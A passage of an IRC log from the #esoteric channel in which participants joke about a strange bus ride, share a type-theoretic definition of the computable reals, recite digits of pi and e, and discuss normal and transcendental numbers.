:http://en.wikipedia.org/wiki/List_of_countries_by_alcohol_consumption < 1267454043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So what we can tell from this is that when Finns say "vodka" they mean "espresso". < 1267454161 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hi alise < 1267454169 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Whoa, that's unexpected. I've known that we're not exactly #1 when it comes to alcohol -- despite all the anecdotes -- but I had no idea about the coffee thing. I wonder if that is actually true-true. < 1267454172 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, so back for good? < 1267454176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267454190 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Uh, what makes you think that? < 1267454202 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The current situation just means I'm sure as hell going to tackle this before even considering returning. < 1267454222 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Admittedly, if they have a weapon they'll use it now, and if they don't, I'm free. So I guess you're right, in some sense. < 1267454223 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hm? I mean back at home < 1267454224 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This is Endgame. < 1267454225 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Monday < 1267454231 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Returning = to the unit < 1267454237 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Oh you don't know the situation do you? < 1267454241 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, no < 1267454242 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267454247 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'll explain briefly in /msg. < 1267454250 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I know what you mentioned before < 1267454252 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, okay < 1267454269 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :afterwards I will tell about my very strange journey home today < 1267454275 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :very strange that thing with the bus < 1267454285 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Was it a catbus? < 1267454307 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what is that? < 1267454314 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/My_Neighbor_Totoro < 1267454321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or, well, I guess http://en.wikipedia.org/wiki/Catbus is more specific. < 1267454329 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah, not *quite* that strange < 1267454337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I will recount it. < 1267454356 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :how can that possibly be not a lolcat reference? < 1267454375 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :To begin with it was normal, I took the articulated bus from university to the exchange (or whatever it is called, almost all buses pass through that place) < 1267454378 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There's also that single-person kittenbus, that's maybe even more... that. < 1267454381 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then I was to wait for another bus < 1267454384 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :still normal < 1267454385 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but < 1267454392 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then something unusual happened < 1267454398 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A very articulate bus. < 1267454404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: You TURNED INTO A WALRUS? < 1267454465 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :instead of the normal "front part low for handicaped/rear part high for packing lots of people" in compromise that that bus usually is, a long range coach thingy arrived < 1267454473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :with the right bus number and everything < 1267454485 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The SUSPENSE before you said that was INCREDIBLE. < 1267454490 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but it got worse < 1267454491 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait for it < 1267454530 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well of course I asked the driver and confirmed it was the right bus, and went on it. However later on I saw in the driver mirror the *normal* bus for that line right behind us. < 1267454544 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This is so exciting I am literally urinating in my underwear < 1267454546 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and when I stepped out of the bus when I arrived, and looked back at the bus I was in < 1267454550 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it said "not in traffic" < 1267454551 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :on it < 1267454554 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :instead of the number < 1267454555 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHOA < 1267454568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :all together I think this is rather strange < 1267454568 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You just barely escaped a molestation affair thing, it seems! < 1267454576 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, har < 1267454595 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Though perhaps a bus is maybe not the most inconspicuous vehicle for that sort of thing. < 1267454601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, also the driver nearly made the wrong turn a bit before < 1267454616 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: once I went the bus which has the right number, but on the way home it took a wrong turn onto the very busy roads which don't go where I want and it was difficult to get home from there < 1267454628 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, huh < 1267454631 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :now every time I go on that bus I am scared it might do that again < 1267454639 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :clearly this problem would not exist if we had trams < 1267454641 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :TRAMS! < 1267454646 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, maybe it is like here, same number takes different variants of the rout < 1267454647 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the perfect vehicle for the transportation of yams < 1267454648 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :route* < 1267454660 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Speaking of buses, they're test-driving this four-door-pairs monster on the 550 line here: http://www.spheros.de/Upload/Images/Presse/Capacity_Aerosphere.jpg < 1267454677 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :bendy bus < 1267454703 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There was something about there being more than one pair of steerable wheels in there. < 1267454704 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :there was a bit ofa fuss about them ni london because I think they can be a bit dangerous for cyclists < 1267454710 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :or maybe it was the other way around... < 1267454715 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we should have buses that are entirely bendy < 1267454717 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like they go through small towns sometimes, and sometimes they go by the < 1267454724 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :like, the whole bus is in the bendy bit < 1267454726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wheeeeeeeeeeeee < 1267454729 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster yeah it was scary < 1267454730 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The catbus is very bendy, I believe. < 1267454744 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, well I'm used to this bus taking 5 different variants of the route < 1267454755 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, at least I live close to one of the points it take for allmost all routes < 1267454764 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wir fahr'n fahr'n fahr'n auf der Autobahn, wir fahr'n fahr'n fahr'n auf der Autobahn... < 1267454791 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway another strange thing when boarding it was that it didn't come in to the station/bus exchange from the normal direction < 1267454812 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :usually it comes in from north, the exchange being the second station from that end of the route < 1267454840 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but this one came in from south with "not in traffic", made an U-turn, and changed to the right number < 1267454846 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Does that thing say METROBUS? < 1267454868 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267454889 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, autobhan in Swedish is exclusively used about the "no speed limit" German autobhans. (at least they used to have no speed limit, no idea about nowdays) < 1267454905 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It seems to. The picture is non-local, though, just the same model of bus. < 1267454912 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1267454914 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But I like that song. < 1267454934 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, anyway this long range bus even had a stoved away seat at the front saying "for guides" on a label < 1267454964 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I think the suspension on it was under dampened, it kept going up and down for a bit after each bump in the road < 1267454979 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(is under-dampened the right English term?) < 1267454981 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : How about the "al forno" and the "resquiat" parts? < 1267455002 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION quells AnMaster's boring with the computable reals
< 1267455004 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :resquiat means "rest" i think, see "resquiat in pace" (sp) < 1267455005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :data ℝ : Set where < 1267455005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : ℝ : (f : ℚ⁺ → ℚ) < 1267455005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : → {{ε₁:ℚ⁺} → {ε₂:ℚ⁺} → abs (f ε₁ - f ε₂) ≤ ε₁ + ε₂} < 1267455006 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : → ℝ < 1267455006 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : < 1267455006 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ι : ℚ → ℝ < 1267455006 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ι q = ℝ (λ_ → q) < 1267455013 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh fun < 1267455021 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: http://isometric.sixsided.org/data/strips/the_left_sister/4.gif < 1267455023 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what language is that? < 1267455025 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :requiescat in pace < 1267455029 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :haskell? < 1267455033 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :haskaj < 1267455035 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: mine. Similar to Agda, though, you could surely make the definition there. < 1267455041 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Haskell is nowhere near powerful enough to express that. < 1267455055 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :but haskal is turing complete! < 1267455059 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: <3 < 1267455075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hasqal < 1267455099 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Al_forno < 1267455103 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what does it mean though? It looks like a definition of ℝ. And I guess the mentions of ℚ is for defining the latter as a subset of the former or such? < 1267455131 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267455136 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, then what does it mean? :) < 1267455150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A real is represented as a function from a positive rational to a rational. {{ε₁:ℚ⁺} → {ε₂:ℚ⁺} → abs (f ε₁ - f ε₂) ≤ ε₁ + ε₂} means: < 1267455160 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh? < 1267455170 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For all positive rationals e1 and e2, |f e1 - f e2| <= e1 + e2 < 1267455181 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: resquiat is a late latin corruption, it seems. also, this was italian not latin. < 1267455184 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Basically, pi 0.01 = 3.14 < 1267455216 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, and pi 0.001 = 3.142? < 1267455218 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This is the computable reals, not the reals, because you can't e.g. have Chaitin's constant. But constructivists don't believe in Chaitin's constant, anyway. < 1267455237 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Or similar. < 1267455252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ι : ℚ → ℝ < 1267455252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ι q = ℝ (λ_ → q) < 1267455252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just lets you convert a rational to a real. < 1267455261 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For any precision, it yields the rational you give it. < 1267455276 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The cool thing is that you cannot pass any function to the real constructor that does not obey the property of {{ε₁:ℚ⁺} → {ε₂:ℚ⁺} → abs (f ε₁ - f ε₂) ≤ ε₁ + ε₂}. < 1267455282 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :3.14159265... <-- what I remember of pi on the top of my head < 1267455284 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Don't ask how it works. It's Magic. < 1267455290 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise please make me better < 1267455309 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the next digit after that *might* be a 3, not sure < 1267455312 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION checks
< 1267455320 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yep, a 3 < 1267455325 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: BAZAM < 1267455326 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Done. < 1267455327 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's 3 unless you round it to that length. < 1267455331 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :thanks < 1267455336 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :;_; < 1267455338 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION cry cry cry
< 1267455346 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: What, precisely, is the problem? < 1267455350 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I think mooz bothered to memorize 50 or 100 digits or so. I'm not sure why. < 1267455353 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise I have a bad cold < 1267455366 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I can do 3.14159265358 < 1267455366 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, well yes < 1267455370 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :* AnMaster: < 1267455371 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(about the 3 and rounding) < 1267455371 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ...3589797... from my top of head < 1267455372 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Sucks to be you; I hate colds. < 1267455379 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, ? < 1267455381 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wait < 1267455386 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :3.14159 is as much as I know; I'm a dullard. < 1267455387 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise me too the worst thing is I had 100% attendence up until today < 1267455393 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that last 7 shouldn't be there < 1267455409 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(unless it's accidentally right) < 1267455410 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://isometric.sixsided.org/data/strips/the_left_sister/dropin2.php ;; I really ought to read isometric comics more than just when fizzie links to them < 1267455419 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: cute, like oklopol < 1267455422 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :3.141592653589793238462643383279502884197169399375105820974944592307816406286208 < 1267455423 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I have to think a few seconds to remember past 3.14159. It goes like "uuh... ah yes, 2 then 65" < 1267455425 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that's all I can remember < 1267455428 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :angry that he got his first 4 instead of a 5 on a test :) < 1267455437 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Yeah. Right. < 1267455446 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise it's true < 1267455478 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://isometric.sixsided.org/data/strips/the_left_sister/19.gif < 1267455484 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :and I even got it all right! < 1267455484 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: ...3589797... from my top of head <-- checking gives that as "793" not "797" indeed < 1267455489 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but then that could be rounted < 1267455492 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise you don't beleive me :| < 1267455494 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since I checked M_PI < 1267455498 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: I find it unlikely. < 1267455504 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise I am not lieing < 1267455505 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But I do not rule out the possibility entirely. < 1267455530 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait, that makes no sense < 1267455538 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :M_PI has more precision in the header < 1267455538 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: hard to roung 3... to 7, alas :D < 1267455541 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*round < 1267455546 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION slaps printf
< 1267455549 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267455552 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i am just chased by muphry's law today < 1267455553 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://isometric.sixsided.org/data/strips/the_left_sister/24.gif < 1267455555 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, well yes < 1267455555 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'll stop now < 1267455558 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, unless it is very cold < 1267455567 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wait what < 1267455575 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise all I know of phi is 1.618033989 < 1267455583 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise and of e 2.718281828 < 1267455589 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :2.718281828459045 < 1267455594 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Panels 28 onwards are missing, fizzie bot :( < 1267455595 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that forms a really memorable pattern < 1267455602 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I should memorize more e < 1267455619 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, errr... e? < 1267455622 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: I know, but my lookup table has gotten damaged and I cannot reconstruct them either. < 1267455631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I remember 2.718 of e < 1267455632 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes, e < 1267455632 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ℝ (λ ε → product (map (λ i → (i!)⁻¹) (0 … ε))) < 1267455634 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :really bad at that < 1267455635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I've memorised all of e! < 1267455639 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, XD < 1267455644 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or, if you prefer fancier notation, < 1267455657 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ℝ (λ ε → ∏ 0 … ε ⇒ λi → (i!)⁻¹) < 1267455666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well since it is transcendental, iirc every pattern of numbers will be found somewhere in it? < 1267455671 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wasn't it something like that < 1267455679 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267455684 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That's normal. < 1267455687 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, that isn't an implication < 1267455691 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or was that property even more specific than transcendental? < 1267455695 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1267455698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1267455699 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that's more specific than transcendental < 1267455708 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what was it called now again? < 1267455712 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :there are definitely transcendentals which are normal. iirc 0.101001000100001... is one < 1267455714 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the first proved-trancendental number had no digits in its decimal expansion than 0 and 1 < 1267455717 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Liouville_number < 1267455718 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*which are _not_ normal < 1267455720 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: yeah < 1267455731 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats muphry -----###
< 1267455752 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*other than < 1267455760 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so, did pi and e have that extra property or not? I don't remember < 1267455769 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what extra property? < 1267455779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the one mentioned just above -_- < 1267455780 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and there _might_ be normals which are not transcendental, i think the guess is all non-rational algebraic numbers are normal, but no one knows for even a single one < 1267455785 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :0.101001000100001 is normal? < 1267455793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :.... < 1267455797 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i _think_ all _known_ normal numbers are explicitly constructed to be so < 1267455822 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: muphry is chasing me around today, i said < 1267455822 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, ah < 1267455837 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what's muphry < 1267455846 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, this isn't the first instance? < 1267455853 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, you have to be kidding < 1267455864 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267455868 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: the law that all corrections of other people's typos or grammar mistakes themselves contain typos or grammar mistakes < 1267455874 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, http://en.wikipedia.org/wiki/Murphy%27s_law < 1267455888 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: transcendental. actually maybe you need more 0's between < 1267455893 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: fail < 1267455894 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that's the most ridiculous typo I've seen on this subject for a while < 1267455895 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, Muphry < 1267455904 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: I expect AnMaster just had a gigantic whooooooooooosh < 1267455908 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and honestly didn't get it < 1267455910 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, oh I didn't notice the extra r < 1267455913 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: lasting several months? < 1267455914 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1267455915 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: doublefail < 1267455924 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :argh < 1267455926 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :moved r then < 1267455929 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ths is all my fault < 1267455931 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: also, i missed a pi digit, and misspelled round < 1267455935 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: fault? this is hilarious! < 1267455942 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :this is sparta! < 1267455944 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267455951 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ccccccxxxxxzzzzzzaaaaaaaa < 1267455975 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what did the sparta thing... oh right "this is hilarious!" < 1267455991 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I really didn't think of "this is sparta" when reading that... < 1267456002 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION reads everything alise says in that voice
< 1267456019 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i am a wonderful feminine creature! < 1267456026 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, what about "this is fun"...? does that also make you think of sparta? < 1267456029 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yes you are < 1267456041 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :no AnMaster < 1267456069 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :scarf: i may be overextending muphry's law here, using it for any error involving mistyping < 1267456082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, weird < 1267456098 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I like it when maths people both (a) only know a few specially normal numbers, yet (b) have a proof that almost all numbers of normal, especially since it involves the so vague-sounding yet sensibly defined "almost all". < 1267456110 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267456112 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric : Muphry's law is an adage that states that "if you write anything criticizing editing or proofreading, there will be a fault of some kind in what you have written". < 1267456118 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: yeah < 1267456121 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: In any case MathWorld agrees with your assessment that currently known normal numbers are "artificially constructed". < 1267456125 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that was funny fizzie < 1267456126 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Most numbers that aren't pathological are probably normal"\ < 1267456128 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*normal" < 1267456278 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise, opinison please http://www.reddit.com/r/programming/comments/b7neu/what_are_some_exciting_areas_for_computer_science/c0ldm41 < 1267456283 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: ah yes the liouville's constant 0.110... etc. requires more than just linear number of zeros (it's sum of 10^(-n!)) < 1267456299 0 :alise!unknown@unknown.invalid PRIVMSG 